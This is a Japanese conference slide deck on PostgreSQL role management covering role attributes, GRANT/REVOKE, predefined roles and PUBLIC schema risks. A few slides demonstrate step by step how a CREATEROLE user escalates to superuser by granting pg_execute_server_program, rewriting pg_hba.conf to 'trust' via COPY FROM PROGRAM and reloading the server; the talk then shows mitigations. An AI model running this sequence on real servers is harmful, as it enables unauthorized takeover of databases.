SlideShare a Scribd company logo
© 2022 NTT DATA Corporation
PostgreSQLのロール管理とその注意点
2022年1月29日 Open Source Conference 2022 Online/Osaka
株式会社NTTデータ 技術開発本部
加藤 慎也
© 2022 NTT DATA Corporation 2
自己紹介
• 名前
• 加藤 慎也 @ShinyaKato_
• 所属
• 株式会社NTTデータ 技術開発本部
• 業務
• PostgreSQLの研究開発やサポート業務に従事
© 2022 NTT DATA Corporation 3
本講演について
• 講演資料
• NTTデータのSlideShareアカウントで公開予定
• https://www.slideshare.net/nttdata-tech
• 動作環境
• CentOS Stream 8.3
• PostgreSQL 14.0
• 一部開発中の機能を紹介しますが、正式リリースまでに変更になる場合があります
• プロンプトの表記
• # :シェルのルートユーザのプロンプト
• $ :シェルの一般ユーザのプロンプト
• =# :psqlのスーパーユーザのプロンプト
• => :psqlの一般ユーザのプロンプト
© 2022 NTT DATA Corporation 4
目次
1. ロールとは?
– ロールの概要
– ロールの属性
– 権限
– 定義済みロール
2. ロール管理の注意点とその対処法
– PUBLICロール
– CREATEROLE権限強すぎ問題
3. まとめ
© 2022 NTT DATA Corporation 5
PostgreSQL
• オープンソースのRDBMS
• 1年に1回のペースでメジャーバージョンアップが行われ、
最新バージョンはPostgreSQL 14
• BSDライセンスに類似したPostgreSQLライセンス
© 2022 NTT DATA Corporation
ロールの概要
6
© 2022 NTT DATA Corporation 7
ロール(1/2)
• インスタンスに対するアクセス権限の集まり
• 属性と権限を持ち、それらによってDBへのアクセスを管理する
• ユーザとロールを包含する概念
• 他の多くのRDBMSはユーザとロールは別物
• PostgreSQLでは、ユーザ=ロール+ログイン権限
• あるロールAを別のロールBに付与することで権限を継承できる
• これを「ロールBはロールAのメンバ資格を持つ」と言う
© 2022 NTT DATA Corporation 8
ロール(2/2)
• CREATE ROLE/DROP ROLEでロールの作成/削除を行い、ALTER ROLEでロールの
変更を行う
=# CREATE ROLE role1 LOGIN;
CREATE ROLE
=# ALTER ROLE role1 CREATEDB;
ALTER ROLE
=# DROP ROLE role1;
DROP ROLE
© 2022 NTT DATA Corporation 9
ログイン
• ログイン権限を持つロールでデータベースにログインする
• psqlでデータベースに接続時に-Uオプションでロールを指定、または
psqlでデータベースに接続中にc(connect)を使用する
$ psql -U postgres
=# c - role1
You are now connected to database "postgres" as user "role1".
=>
© 2022 NTT DATA Corporation 10
SET ROLE(1/2)
• 一時的に指定したロールを使用する
• セッションユーザがメンバ資格を持つロールのみ使用できる
• セッションユーザとは、セッションを開始したユーザ
• スーパーユーザは任意のロールを使用可
• SET ROLE NONE/RESET ROLEで元のロールに戻る
© 2022 NTT DATA Corporation 11
SET ROLE(2/2)
=# SET ROLE role2;
SET
=> SELECT SESSION_USER, CURRENT_USER;
session_user | current_user
--------------+--------------
postgres | role2
(1 row)
=> RESET ROLE;
RESET
=# SELECT SESSION_USER, CURRENT_USER;
session_user | current_user
--------------+--------------
postgres | postgres
(1 row)
© 2022 NTT DATA Corporation 12
ロールの情報の確認(du)
• psqlのメタコマンドduで全てのロール、du role_nameでrole_nameの情報を確認
できる
=# CREATE ROLE role2;
CREATE ROLE
=# du
List of roles
Role name | Attributes | Member of
-----------+------------------------------------------------------------+----------
-
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
role2 | Cannot login | {}
=# du role2
List of roles
Role name | Attributes | Member of
-----------+--------------+-----------
role2 | Cannot login | {}
© 2022 NTT DATA Corporation 13
ロールの情報の確認(pg_roles)
• pg_rolesビューによりロールの情報を確認できる
=# SELECT * FROM pg_roles WHERE rolname = 'role2';
-[ RECORD 1 ]--+---------
rolname | role2
rolsuper | f
rolinherit | t
rolcreaterole | f
rolcreatedb | f
rolcanlogin | f
rolreplication | f
rolconnlimit | -1
rolpassword | ********
rolvaliduntil |
rolbypassrls | f
rolconfig |
oid | 40988
© 2022 NTT DATA Corporation 14
ロールの情報の確認(その他:システムカタログ)
• pg_authid
• pg_auth_members
• pg_db_role_setting
• pg_init_privs
• システムビュー
• pg_group
• pg_shadow
• pg_user
© 2022 NTT DATA Corporation 15
ロールの情報の確認(その他:情報スキーマ)
• administrable_role_authorizations
• applicable_roles
• enabled_roles
• role_column_grants
• role_routine_grants
• role_table_grants
• role_udt_grants
• role_usage_grants
© 2022 NTT DATA Corporation 16
ロールの情報の確認(その他:システム情報関数)
• セッション情報関数
• current_user
• current_role
• session_user
• user
• アクセス権限照会関数
• has_xxx_privilege
• xxx = any_column、column、database、foreign_data_wrapper、function、language、
schema、sequence、server、table、tablespace、type
• pg_has_role
• row_security_active
© 2022 NTT DATA Corporation
ロールの属性
17
© 2022 NTT DATA Corporation 18
ロールの属性
• 属性はCREATE ROLE、およびALTER ROLEで設定できる
DBクラスタ #1 DBクラスタ #2
INHERIT
ロールの権限を
継承する
CREATEROLE
ロールを作成する
CREATEDB
データベースを作成する
SUPERUSER
ログイン権限を除く
他の権限検査をパス
LOGIN
ログイン可能か
PASSWORD
パスワードの設定
REPLICATION
レプリケーション接続
CONNECTION LIMIT
最大同時接続数の制限
BYPASSRLS
行セキュリティ
ポリシーを無視する
© 2022 NTT DATA Corporation 19
ログイン権限(1/2)
• LOGIN属性を持つロールのみがデータベース接続のロールとして使用可能
=# CREATE ROLE role1 LOGIN;
CREATE ROLE
=# du role1
List of roles
Role name | Attributes | Member of
-----------+------------+-----------
role1 | | {}
=# c - role1
You are now connected to database "postgres" as user "role1".
=>
LOGIN属性を持つ場合
何も表示されない
© 2022 NTT DATA Corporation 20
ログイン権限(2/2)
• CREATE USERでもロールの作成ができ、デフォルトでLOGIN属性を持つ
=# CREATE USER role2;
CREATE ROLE
=# du role2
List of roles
Role name | Attributes | Member of
-----------+------------+-----------
role2 | | {}
=# c - role2
You are now connected to database "postgres" as user "role2".
=>
LOGIN属性を持つ場合
何も表示されない
© 2022 NTT DATA Corporation 21
スーパーユーザ状態
• スーパーユーザは、ログイン権限を除く他の権限検査は全て行われない
• 危険な権限のため安易に使用せず、作業は非スーパーユーザで行うべき
• スーパーユーザは、スーパーユーザのロールでのみ作成することができる
=# CREATE ROLE role3 SUPERUSER;
CREATE ROLE
=# du role3
List of roles
Role name | Attributes | Member of
-----------+-------------------------+-----------
role3 | Superuser, Cannot login | {}
© 2022 NTT DATA Corporation 22
データベース作成
• (スーパーユーザを除き)データベースを作成するにはロールに明示的にデータベースを
作成するための権限を指定する必要がある
=# CREATE ROLE role4 CREATEDB;
CREATE ROLE
=# du role4
List of roles
Role name | Attributes | Member of
-----------+-------------------------+-----------
role4 | Create DB, Cannot login | {}
=# SET ROLE role4;
SET
=> CREATE DATABASE db;
CREATE DATABASE
© 2022 NTT DATA Corporation 23
ロールの作成
• (スーパーユーザを除き)あるロールがロールを作成するには明示的にロールを作成する
ための権限を指定する必要がある
=# CREATE ROLE role5 CREATEROLE;
CREATE ROLE
=# du role5
List of roles
Role name | Attributes | Member of
-----------+---------------------------+-----------
role5 | Create role, Cannot login | {}
=# SET ROLE role5;
SET
=> CREATE ROLE role6;
CREATE ROLE
© 2022 NTT DATA Corporation 24
レプリケーションの新規接続
• (スーパーユーザを除き)あるロールがレプリケーションの新規接続を実施するには、
明示的に権限を付与する必要がある
• レプリケーションを行うにはログイン権限を持っている必要がある
• スーパーユーザのみREPLICATION属性を持つロールを作成できる
=# CREATE ROLE role6 REPLICATION LOGIN;
CREATE ROLE
=# du role6
List of roles
Role name | Attributes | Member of
-----------+-------------+-----------
role6 | Replication | {}
© 2022 NTT DATA Corporation 25
パスワード
• データベースに接続する際にパスワードを要求する場合に設定
• VALID UNTIL句でパスワードが無効になる日時を設定可能
• 省略された場合、パスワードは永遠に有効
• passwordコマンドでもパスワードの設定ができ、コマンド履歴やサーバログにパスワードが
出力されないため、passwordコマンドの使用が推奨される
=# CREATE ROLE role7 PASSWORD 'string' VALID UNTIL '2022-01-29';
CREATE ROLE
=# du role7
List of roles
Role name | Attributes | Member of
-----------+---------------------------------------------+-----------
role7 | Cannot login +| {}
| Password valid until 2022-01-29 00:00:00+09 |
© 2022 NTT DATA Corporation 26
権限の継承
• ロールがそのロールが属するロールの権限を継承する場合に設定
• オプションを指定しない場合、デフォルトでINHERITを持つ
=# CREATE ROLE role8 INHERIT;
CREATE ROLE
=# CREATE ROLE role9;
CREATE ROLE
=# du role8
List of roles
Role name | Attributes | Member of
-----------+--------------+-----------
role8 | Cannot login | {}
=# du role9
List of roles
Role name | Attributes | Member of
-----------+--------------+-----------
role9 | Cannot login | {}
権限の継承の実行例は
後のスライドで
INHERIT属性を持つ場合
何も表示されない
© 2022 NTT DATA Corporation 27
行セキュリティポリシーの無視
• ロールが行セキュリティ(RLS)ポリシーを無視する場合に設定
• テーブルに対してロールが操作できる行を制限する仕組み
• スーパーユーザのみBYPASSRLS属性を持つロールを作成できる
=# CREATE ROLE role10 BYPASSRLS;
CREATE ROLE
=# du role10
List of roles
Role name | Attributes | Member of
-----------+--------------------------+-----------
role10 | Cannot login, Bypass RLS | {}
© 2022 NTT DATA Corporation 28
最大同時接続数の制限
• ロールがログイン可能である場合、そのロールが確立できる最大同時接続数を設定
• デフォルトは-1であり、これは無制限であることを意味する
=# CREATE ROLE role11 LOGIN CONNECTION LIMIT 10;
CREATE ROLE
=# du role11
List of roles
Role name | Attributes | Member of
-----------+----------------+-----------
role11 | 10 connections | {}
© 2022 NTT DATA Corporation 29
ロールのデフォルトパラメータ(1/2)
• ALTER ROLE SETで、ロールがログインするときのデフォルトパラメータを設定できる
• ALTER ROLE RESETで、設定を削除できる
• ログイン時のみパラメータが設定され、SET ROLE時にはパラメータは設定されない
• IN DATABASE句を用いると、対象のデータベースを指定できる
© 2022 NTT DATA Corporation 30
ロールのデフォルトパラメータ(2/2)
=# ALTER ROLE role11 SET maintenance_work_mem = 100000;
ALTER ROLE
=# SHOW maintenance_work_mem;
maintenance_work_mem
----------------------
64MB
(1 row)
=# c - role11
You are now connected to database "postgres" as user "role11".
=> SHOW maintenance_work_mem;
maintenance_work_mem
----------------------
100000kB
(1 row)
© 2022 NTT DATA Corporation
権限
31
© 2022 NTT DATA Corporation 32
データベースオブジェクトの所有者
• あるロールがCREATEコマンドを実行すると、そのロールを所有者とするオブジェクトが作成
される
• 初期状態ではその所有者(またはスーパーユーザ)だけがそのオブジェクトを使用できる
• publicスキーマを除く(後述)
• 他のロールがそのオブジェクトを使用するには権限が付与されている必要がある
© 2022 NTT DATA Corporation 33
データベースオブジェクトの権限(1/2)
権限 短縮形 適用可能なオブジェクトタイプ
SELECT r (read) LARGE OBJECT、SEQUENCE、TABLE、テーブルの列
INSERT a (append) TABLE、テーブルの列
UPDATE w (write) LARGE OBJECT、SEQUENCE、TABLE、テーブルの列
DELETE d TABLE
TRUNCATE D TABLE
REFERENCES x TABLE、テーブルの列
TRIGGER t TABLE
CREATE C DATABASE、SCHEMA、TABLESPACE
CONNECT c DATABASE
TEMPORARY T DATABASE
EXECUTE X FUNCTION、PROCEDURE
USAGE U DOMAIN、FOREIGN DATA WRAPPER、FOREIGN SERVER、
LANGUAGE、SCHEMA、SEQUENCE、TYPE
© 2022 NTT DATA Corporation 34
データベースオブジェクトの権限(2/2)
オブジェクトタイプ すべての権限 デフォルトPUBLIC権限 psqlコマンド
DATABASE CTc Tc l
DOMAIN U U dD+
FUNCTION or PROCEDURE X X df+
FOREIGN DATA WRAPPER U none dew+
FOREIGN SERVER U none des+
LANGUAGE U U dL+
LARGE OBJECT rw none
SCHEMA UC none dn+
SEQUENCE rwU none dp
TABLE(およびテーブルのようなオブジェクト) arwdDxt none dp
テーブルの列 arwx none dp
TABLESPACE C none db+
TYPE U U dT+
© 2022 NTT DATA Corporation 35
権限の割り当て(1/2)
• 権限の割り当てには、GRANTコマンドを用いる
• 以下のような権限を割り当てる
postgres
スーパーユーザ
role1
role2
sampleスキーマ
所有者postgres
全ての操作
CREATE権限
USAGE権限
全ての操作
sampleテーブル
所有者role1
SELECT権限
© 2022 NTT DATA Corporation 36
権限の割り当て(2/2)
=# CREATE SCHEMA sample;
CREATE SCHEMA
=# GRANT CREATE ON SCHEMA sample TO role1;
GRANT
=# GRANT USAGE ON SCHEMA sample TO role1;
GRANT
=# c - role1
You are now connected to database "postgres" as user "role1".
=> CREATE TABLE sample.sample (i INT);
CREATE TABLE
=> GRANT SELECT ON TABLE sample.sample TO role2;
GRANT
© 2022 NTT DATA Corporation 37
権限の確認
=> dn+ sample
List of schemas
Name | Owner | Access privileges | Description
--------+----------+----------------------+-------------
sample | postgres | postgres=UC/postgres+|
| | role1=UC/postgres |
(1 row)
=> dp sample.sample
Access privileges
Schema | Name | Type | Access privileges | Column privileges | Policies
--------+--------+-------+---------------------+-------------------+----------
sample | sample | table | role1=arwdDxt/role1+| |
| | | role2=r/role1 | |
(1 row)
role2のSELECT (r)権限は
role1によってGRANTされた
© 2022 NTT DATA Corporation 38
権限の継承(1/2)
• ロールの持つ権限を、別のロールに与えることができる(これをメンバ資格という)
• 権限を継承するにはINHERIT属性を持つ必要がある
• 以下のような権限を割り当てる
postgres
スーパーユーザ
role1
role2
sampleスキーマ
所有者postgres
全ての操作
全ての操作
sampleテーブル
所有者role1
全ての操作
継承
CREATE権限
USAGE権限
© 2022 NTT DATA Corporation 39
=> GRANT role1 to role2;
GRANT ROLE
=> du role2
List of roles
Role name | Attributes | Member of
-----------+------------+-----------
role2 | | {role1}
=> SET ROLE role2;
SET
=> INSERT INTO sample.sample VALUES (1);
INSERT 0 1
権限の継承(2/2)
role1の全権限をrole2に
継承したのでINSERTできる
© 2022 NTT DATA Corporation 40
権限の取り消し
• 権限の取り消しには、REVOKEコマンドを用いる
=> REVOKE role1 FROM role2;
REVOKE ROLE
=> du role2
List of roles
Role name | Attributes | Member of
-----------+------------+-----------
role2 | | {}
=> REVOKE SELECT ON TABLE sample.sample FROM role2;
REVOKE
=> dp sample.sample
Access privileges
Schema | Name | Type | Access privileges | Column privileges | Policies
--------+--------+-------+---------------------+-------------------+----------
sample | sample | table | role1=arwdDxt/role1 | |
(1 row)
© 2022 NTT DATA Corporation
定義済みロール
(旧デフォルトロール)
41
© 2022 NTT DATA Corporation 42
定義済みロール(1/2)
• 共通に必要かつ、特権の必要な機能や情報にアクセスするために使用
• 定義済みロールを任意のロールにGRANTすることでこの機能や情報を使用できる
ロール 可能なアクセス
pg_read_all_data すべてのデータ(テーブル、ビュー、シーケンス)を読み取る
pg_write_all_data すべてのデータ(テーブル、ビュー、シーケンス)に書き込む
pg_read_all_settings 全ての設定変数を読み取る
pg_read_all_stats すべてのpg_stat_*ビューを読み取る
pg_stat_scan_tables
潜在的に長時間、テーブルのACCESS SHAREロックを取得する可能性がある監視機
能を実行する
pg_monitor
各種の監視ビューや機能を読み取り/実行する。 このロールは、pg_read_all_settings
、pg_read_all_statsおよびpg_stat_scan_tablesのメンバである
© 2022 NTT DATA Corporation 43
定義済みロール(2/2)
• 共通に必要かつ、特権の必要な機能や情報にアクセスするために使用
• 定義済みロールを任意のロールにGRANTすることでこの機能や情報を使用できる
ロール 可能なアクセス
pg_database_owner なし。メンバ資格は暗黙に現在のデータベースの所有者から構成される
pg_signal_backend 他のバックエンドに問い合わせのキャンセルやセッションの終了のシグナルを送信する
pg_read_server_files
COPYやその他のファイルアクセス関数で、データベースがサーバ上でアクセスできる任意
の場所からファイルを読み取ることを許可する
pg_write_server_files
COPYやその他のファイルアクセス関数で、データベースがサーバ上でアクセスできる任意
の場所にファイルを書き込むことを許可する
pg_execute_server_program
COPYやサーバ側のプログラムを実行できるその他の関数で、データベースを実行してい
るユーザとしてデータベースサーバ上でのプログラムの実行を許可する
© 2022 NTT DATA Corporation 44
定義済みロール使用例(1/2)
• 一般ロールrole1にパラメータshared_preload_librariesの読み取りを許可する
=> SELECT CURRENT_USER;
current_user
--------------
role1
(1 row)
=> du role1
List of roles
Role name | Attributes | Member of
-----------+------------+-----------
role1 | | {}
=> SHOW shared_preload_libraries;
ERROR: must be superuser or a member of pg_read_all_settings to
examine "shared_preload_libraries"
一般ロールは
shared_preload_libraries
を読み取りできない
© 2022 NTT DATA Corporation 45
定義済みロール使用例(2/2)
• 一般ロールrole1にパラメータshared_preload_librariesの読み取りを許可する
=# GRANT pg_read_all_settings TO role1;
GRANT ROLE
=# du role1
List of roles
Role name | Attributes | Member of
-----------+------------+------------------------
role1 | | {pg_read_all_settings}
=# SET ROLE role1;
SET
=> SHOW shared_preload_libraries;
shared_preload_libraries
--------------------------
(1 row)
pg_read_all_settings
メンバ資格があれば読み取れる
© 2022 NTT DATA Corporation 46
目次
1. ロールとは?
– ロールの概要
– ロールの属性
– 権限
– 定義済みロール
2. ロール管理の注意点とその対処法
– PUBLICロール
– CREATEROLE権限強すぎ問題
3. まとめ
© 2022 NTT DATA Corporation
PUBLICロール
47
© 2022 NTT DATA Corporation 48
publicスキーマとPUBLICロール
• PostgreSQLはデフォルトでpublicという名前のスキーマ(publicスキーマ)を作成し、
そのスキーマへのCREATE権限、USAGE権限をPUBLICというバックエンドロール
(PUBLICロール)に付与
• 全てのロールはデフォルトでPUBLICロールのメンバ資格を保持
• 全てのロールはpublicスキーマへのCREATE権限、USAGE権限を保持しており、
publicスキーマを使用する際には注意する必要がある!
© 2022 NTT DATA Corporation 49
publicスキーマでのテーブルの作成
• 新規作成したrole1は暗黙的にPUBLICロールメンバ資格を保持するため、
publicスキーマにテーブルの作成が可能
• デフォルトの設定ではスキーマ名を指定しなければ、publicスキーマにオブジェクトが作成される
=# CREATE ROLE role1;
CREATE ROLE
=# SET ROLE role1;
SET
=> CREATE TABLE t1 (i INT);
CREATE TABLE
© 2022 NTT DATA Corporation 50
対処法(PostgreSQL 14まで)
• 事前にPUBLICロールから不必要な権限をREVOKEしておく
=# REVOKE CREATE ON SCHEMA public FROM PUBLIC;
REVOKE
=# SET ROLE role1;
SET
=> CREATE TABLE t2 (i INT);
ERROR: permission denied for schema public
LINE 1: CREATE TABLE t2 (i INT);
© 2022 NTT DATA Corporation 51
対処法(PostgreSQL 15)
• デフォルトでpublicスキーマへのCREATE権限が割り当てられていないため対処不要
=# CREATE ROLE role2;
CREATE ROLE
=# SET ROLE role2;
SET
=> CREATE TABLE t3 (i INT);
ERROR: permission denied for schema public
LINE 1: create table t3 (i INT);
© 2022 NTT DATA Corporation
CREATEROLE権限強すぎ問題
52
© 2022 NTT DATA Corporation 53
CREATEROLE権限は危険
• PostgreSQLドキュメントに以下の記述がある
• CREATEROLE権限を持つロールは、ほとんどスーパーユーザ権限を持つロールと同じ
であるものと考えてください
• https://www.postgresql.jp/document/13/html/sql-createrole.html
PostgreSQL
すべての操作が
可能
① OSコマンド
実行権限
の付与
② OSコマンドを駆使
してスーパーユーザ
としてログイン
CREATEROLE権限 スーパーユーザ権限
© 2022 NTT DATA Corporation 54
① OSコマンド実行権限の付与
=> SELECT CURRENT_USER;
current_user
--------------
role1
(1 row)
=> du role1
List of roles
Role name | Attributes | Member of
-----------+-------------+-----------
role1 | Create role | {}
=> CREATE ROLE role2 LOGIN IN ROLE pg_execute_server_program;
CREATE ROLE
=> du role2
List of roles
Role name | Attributes | Member of
-----------+------------+-----------------------------
role2 | | {pg_execute_server_program}
CREATEROLE権限をもつ
role1でログイン
pg_execute_server_
programを付与
© 2022 NTT DATA Corporation 55
② OSコマンドを駆使してスーパーユーザとしてログイン(1/3)
=> CREATE TABLE outputs (cmd_output TEXT);
CREATE TABLE
=> COPY outputs FROM PROGRAM 'cat pg_hba.conf';
COPY 97
=> SELECT cmd_output FROM outputs WHERE cmd_output NOT LIKE '#%';
cmd_output
-------------------------------------------------------------------------
-
/home/shinya/pgsql/14/data
local all all trust
host all all all scram-sha-256
host all all ::1/128 scram-sha-256
local replication all trust
host replication all 127.0.0.1/32 trust
host replication all ::1/128 trust
プログラムの実行結果を
保存するテーブルを作成
pg_hba.confの中身を
outputsテーブルに保存
TCP/IPで接続時は
パスワード認証をしている
© 2022 NTT DATA Corporation 56
② OSコマンドを駆使してスーパーユーザとしてログイン(2/3)
=> COPY outputs FROM PROGRAM 'sed -i -e "s/scram-sha-256/trust/"
pg_hba.conf';
COPY 0
=> TRUNCATE outputs;
TRUNCATE TABLE
=> COPY outputs FROM PROGRAM 'cat pg_hba.conf';
COPY 97
=> SELECT cmd_output FROM outputs WHERE cmd_output NOT LIKE '#%';
cmd_output
-----------------------------------------------------------------
local all all trust
host all all all trust
host all all ::1/128 trust
local replication all trust
host replication all 127.0.0.1/32 trust
host replication all ::1/128 trust
scram-sha-256をtrustに置換
© 2022 NTT DATA Corporation 57
② OSコマンドを駆使してスーパーユーザとしてログイン(3/3)
=> c - postgres
Password for user postgres:
FATAL: password authentication failed for user “postgres"
Previous connection kept
=> COPY outputs FROM PROGRAM '../bin/pg_ctl reload -D ../data';
COPY 1
=> c - postgres
You are now connected to database "postgres" as user "postgres".
=#
PostgreSQLをリロード
パスワード認証なしで
スーパーユーザでログインできる
© 2022 NTT DATA Corporation 58
CREATE権限強すぎ問題への対処法(1/3)
• PostgreSQLの拡張機能supautilsを使用する
• https://github.com/supabase/supautils
• 機能
• パラメータsupautils.reserved_rolesに指定されたロールに対して、
ロールの削除、属性の変更、ロール名の変更、メンバ資格のGRANT/REVOKEを禁止
• パラメータsupautils.reserved_membershipsに指定されたロールのGRANTを禁止
© 2022 NTT DATA Corporation 59
CREATE権限強すぎ問題への対処法(2/3)
• コンパイル、インストール
• postgresql.confの設定
$ git clone https://github.com/supabase/supautils.git
$ cd supautils
$ make PG_CONFIG=/opt/pgsql-X.Y.Z/bin/pg_config
$ su
# make PG_CONFIG=/opt/pgsql-X.Y.Z/bin/pg_config install
# exit
shared_preload_libraries='supautils'
supautils.reserved_roles=''
supautils.reserved_memberships='pg_execute_server_program'
© 2022 NTT DATA Corporation 60
CREATE権限強すぎ問題への対処法(3/3)
• 使用例
=> SELECT CURRENT_USER;
current_user
--------------
role1
(1 row)
=> du role1
List of roles
Role name | Attributes | Member of
-----------+-------------+-----------
role1 | Create role | {}
=> CREATE ROLE role2 IN ROLE pg_execute_server_program;
ERROR: "pg_execute_server_program" role memberships are reserved,
only superusers can grant them
CREATEROLE権限をもつ
role1でログイン
pg_execute_server_
programを付与できない
© 2022 NTT DATA Corporation 61
目次
1. ロールとは?
– ロールの概要
– ロールの属性
– 権限
– 定義済みロール
2. ロール管理の注意点とその対処法
– PUBLICロール
– CREATEROLE権限強すぎ問題
3. まとめ
© 2022 NTT DATA Corporation 62
まとめ
• ロールとは、インスタンスに対するアクセス権限の集まり
• ロールは、属性と権限を持ち、それらによってDBへのアクセスを管理する
• あるロールを別のロールに付与することで権限を継承できる
• 全てのロールはデフォルトでPUBLICロールのメンバ資格を保持しているので注意が必要
• CREATEROLE権限を持つロールはスーパーユーザ権限を奪取できるため注意が必要
© 2022 NTT DATA Corporation
その他、記載されている会社名、商品名、又はサービス名は、
各社の登録商標又は商標です。

More Related Content

What's hot

PostgreSQL: XID周回問題に潜む別の問題
PostgreSQL: XID周回問題に潜む別の問題PostgreSQL: XID周回問題に潜む別の問題
PostgreSQL: XID周回問題に潜む別の問題
NTT DATA OSS Professional Services
 
CloudNativePGを動かしてみた! ~PostgreSQL on Kubernetes~(第34回PostgreSQLアンカンファレンス@オンライ...
CloudNativePGを動かしてみた! ~PostgreSQL on Kubernetes~(第34回PostgreSQLアンカンファレンス@オンライ...CloudNativePGを動かしてみた! ~PostgreSQL on Kubernetes~(第34回PostgreSQLアンカンファレンス@オンライ...
CloudNativePGを動かしてみた! ~PostgreSQL on Kubernetes~(第34回PostgreSQLアンカンファレンス@オンライ...
NTT DATA Technology & Innovation
 
PostgreSQLをKubernetes上で活用するためのOperator紹介!(Cloud Native Database Meetup #3 発表資料)
PostgreSQLをKubernetes上で活用するためのOperator紹介!(Cloud Native Database Meetup #3 発表資料)PostgreSQLをKubernetes上で活用するためのOperator紹介!(Cloud Native Database Meetup #3 発表資料)
PostgreSQLをKubernetes上で活用するためのOperator紹介!(Cloud Native Database Meetup #3 発表資料)
NTT DATA Technology & Innovation
 
速習!論理レプリケーション ~基礎から最新動向まで~(PostgreSQL Conference Japan 2022 発表資料)
速習!論理レプリケーション ~基礎から最新動向まで~(PostgreSQL Conference Japan 2022 発表資料)速習!論理レプリケーション ~基礎から最新動向まで~(PostgreSQL Conference Japan 2022 発表資料)
速習!論理レプリケーション ~基礎から最新動向まで~(PostgreSQL Conference Japan 2022 発表資料)
NTT DATA Technology & Innovation
 
PostgreSQLの統計情報について(第26回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQLの統計情報について(第26回PostgreSQLアンカンファレンス@オンライン 発表資料)PostgreSQLの統計情報について(第26回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQLの統計情報について(第26回PostgreSQLアンカンファレンス@オンライン 発表資料)
NTT DATA Technology & Innovation
 
Vacuum徹底解説
Vacuum徹底解説Vacuum徹底解説
Vacuum徹底解説
Masahiko Sawada
 
PostgreSQLによるデータ分析ことはじめ
PostgreSQLによるデータ分析ことはじめPostgreSQLによるデータ分析ことはじめ
PostgreSQLによるデータ分析ことはじめ
Ohyama Masanori
 
あなたの知らないPostgreSQL監視の世界
あなたの知らないPostgreSQL監視の世界あなたの知らないPostgreSQL監視の世界
あなたの知らないPostgreSQL監視の世界
Yoshinori Nakanishi
 
PostgreSQLのfull_page_writesについて(第24回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQLのfull_page_writesについて(第24回PostgreSQLアンカンファレンス@オンライン 発表資料)PostgreSQLのfull_page_writesについて(第24回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQLのfull_page_writesについて(第24回PostgreSQLアンカンファレンス@オンライン 発表資料)
NTT DATA Technology & Innovation
 
PostgreSQLアーキテクチャ入門(INSIGHT OUT 2011)
PostgreSQLアーキテクチャ入門(INSIGHT OUT 2011)PostgreSQLアーキテクチャ入門(INSIGHT OUT 2011)
PostgreSQLアーキテクチャ入門(INSIGHT OUT 2011)
Uptime Technologies LLC (JP)
 
YugabyteDBを使ってみよう - part2 -(NewSQL/分散SQLデータベースよろず勉強会 #2 発表資料)
YugabyteDBを使ってみよう - part2 -(NewSQL/分散SQLデータベースよろず勉強会 #2 発表資料)YugabyteDBを使ってみよう - part2 -(NewSQL/分散SQLデータベースよろず勉強会 #2 発表資料)
YugabyteDBを使ってみよう - part2 -(NewSQL/分散SQLデータベースよろず勉強会 #2 発表資料)
NTT DATA Technology & Innovation
 
監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性
監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性
監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性
Ohyama Masanori
 
PostgreSQLのリカバリ超入門(もしくはWAL、CHECKPOINT、オンラインバックアップの仕組み)
PostgreSQLのリカバリ超入門(もしくはWAL、CHECKPOINT、オンラインバックアップの仕組み)PostgreSQLのリカバリ超入門(もしくはWAL、CHECKPOINT、オンラインバックアップの仕組み)
PostgreSQLのリカバリ超入門(もしくはWAL、CHECKPOINT、オンラインバックアップの仕組み)
Hironobu Suzuki
 
PostgreSQLでスケールアウト
PostgreSQLでスケールアウトPostgreSQLでスケールアウト
PostgreSQLでスケールアウト
Masahiko Sawada
 
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
Miki Shimogai
 
スケールアウトするPostgreSQLを目指して!その第一歩!(NTTデータ テクノロジーカンファレンス 2020 発表資料)
スケールアウトするPostgreSQLを目指して!その第一歩!(NTTデータ テクノロジーカンファレンス 2020 発表資料)スケールアウトするPostgreSQLを目指して!その第一歩!(NTTデータ テクノロジーカンファレンス 2020 発表資料)
スケールアウトするPostgreSQLを目指して!その第一歩!(NTTデータ テクノロジーカンファレンス 2020 発表資料)
NTT DATA Technology & Innovation
 
Inside vacuum - 第一回PostgreSQLプレ勉強会
Inside vacuum - 第一回PostgreSQLプレ勉強会Inside vacuum - 第一回PostgreSQLプレ勉強会
Inside vacuum - 第一回PostgreSQLプレ勉強会Masahiko Sawada
 
Docker Compose 徹底解説
Docker Compose 徹底解説Docker Compose 徹底解説
Docker Compose 徹底解説
Masahito Zembutsu
 
PostgreSQL16新機能紹介 - libpq接続ロード・バランシング(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQL16新機能紹介 - libpq接続ロード・バランシング(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)PostgreSQL16新機能紹介 - libpq接続ロード・バランシング(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQL16新機能紹介 - libpq接続ロード・バランシング(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)
NTT DATA Technology & Innovation
 
OSSプロジェクトへのコントリビューション はじめの一歩を踏み出そう!(Open Source Conference 2022 Online/Spring...
OSSプロジェクトへのコントリビューション はじめの一歩を踏み出そう!(Open Source Conference 2022 Online/Spring...OSSプロジェクトへのコントリビューション はじめの一歩を踏み出そう!(Open Source Conference 2022 Online/Spring...
OSSプロジェクトへのコントリビューション はじめの一歩を踏み出そう!(Open Source Conference 2022 Online/Spring...
NTT DATA Technology & Innovation
 

What's hot (20)

PostgreSQL: XID周回問題に潜む別の問題
PostgreSQL: XID周回問題に潜む別の問題PostgreSQL: XID周回問題に潜む別の問題
PostgreSQL: XID周回問題に潜む別の問題
 
CloudNativePGを動かしてみた! ~PostgreSQL on Kubernetes~(第34回PostgreSQLアンカンファレンス@オンライ...
